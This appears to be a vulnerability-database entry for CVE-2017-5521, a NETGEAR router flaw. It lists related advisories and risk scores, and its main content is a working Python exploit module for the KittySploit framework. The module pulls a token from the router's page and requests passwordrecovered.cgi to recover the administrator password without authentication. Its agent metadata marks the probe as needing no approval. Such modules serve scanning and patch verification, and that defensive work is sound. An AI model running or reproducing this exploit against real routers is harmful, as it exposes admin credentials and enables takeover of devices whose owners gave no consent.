NETGEAR - passwordrecovered.cgi Disclosure (CVE-2017-5521)
| Reporter | Title | Published | Views | Family All 31 |
|---|---|---|---|---|
| Netgear Routers - Password Disclosure Vulnerabilities | 30 Jan 201700:00 | – | zdt | |
| CVE-2017-5521 | 17 Jan 201700:00 | – | attackerkb | |
| NETGEAR Router Password Information Disclosure | 2 Feb 201700:00 | – | bdu_fstec | |
| CVE-2017-5521 | 30 Jan 201700:00 | – | circl | |
| NETGEAR Multiple Devices Exposure of Sensitive Information Vulnerability | 8 Sep 202200:00 | – | cisa_kev | |
| Multiple NETGEAR routers are vulnerable to administrator password information leaks | 3 Feb 201700:00 | – | cnvd | |
| NETGEAR Routers Authentication Bypass (CVE-2017-5521) | 7 Feb 201700:00 | – | checkpoint_advisories | |
| NETGEAR DGN2200 Remote Code Execution (CVE-2017-5521; CVE-2017-6077) | 24 May 201800:00 | – | checkpoint_advisories | |
| CVE-2017-5521 | 17 Jan 201709:22 | – | cve | |
| CVE-2017-5521 | 17 Jan 201709:22 | – | cvelist |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""NETGEAR passwordrecovered.cgi password disclosure (CVE-2017-5521)."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'NETGEAR - passwordrecovered.cgi Disclosure (CVE-2017-5521)',
'description': (
'Detects CVE-2017-5521 by extracting unauth.cgi?id= token and requesting '
'passwordrecovered.cgi to recover admin credentials without auth.'
),
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': [
'web', 'scanner', 'cve', 'cve2017', 'netgear', 'router', 'info-leak', 'unauth', 'vuln',
],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [{'capability': 'credential_leak', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2017-5521',
],
'cve': 'CVE-2017-5521',
}
def run(self):
r = self.http_request(method='GET', path='/', allow_redirects=False)
if not r:
return False
headers = '\n'.join(f'{k}: {v}' for k, v in r.headers.items())
body = (r.text or '') + headers
if 'Basic realm="NETGEAR' not in body and 'NETGEAR' not in headers:
# still try if token present
pass
m = re.search(r'unauth\.cgi\?id=([0-9]+)', body)
if not m:
return False
token = m.group(1)
path = f'/passwordrecovered.cgi?id={token}'
g = self.http_request(method='GET', path=path, allow_redirects=False)
if not g:
return False
text = g.text or ''
if (
'You can now log into the router using username' in text
and 'Router Admin Password' in text
):
self.set_info(
severity='critical',
reason='NETGEAR password recovery disclosure (CVE-2017-5521)',
path=path,
)
return True
return False
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10 Aug 2026 06:19Current
8.2High risk
Vulners AI Score8.2
CVSS 24.3
CVSS 3.18.1
EPSS0.89353
SSVC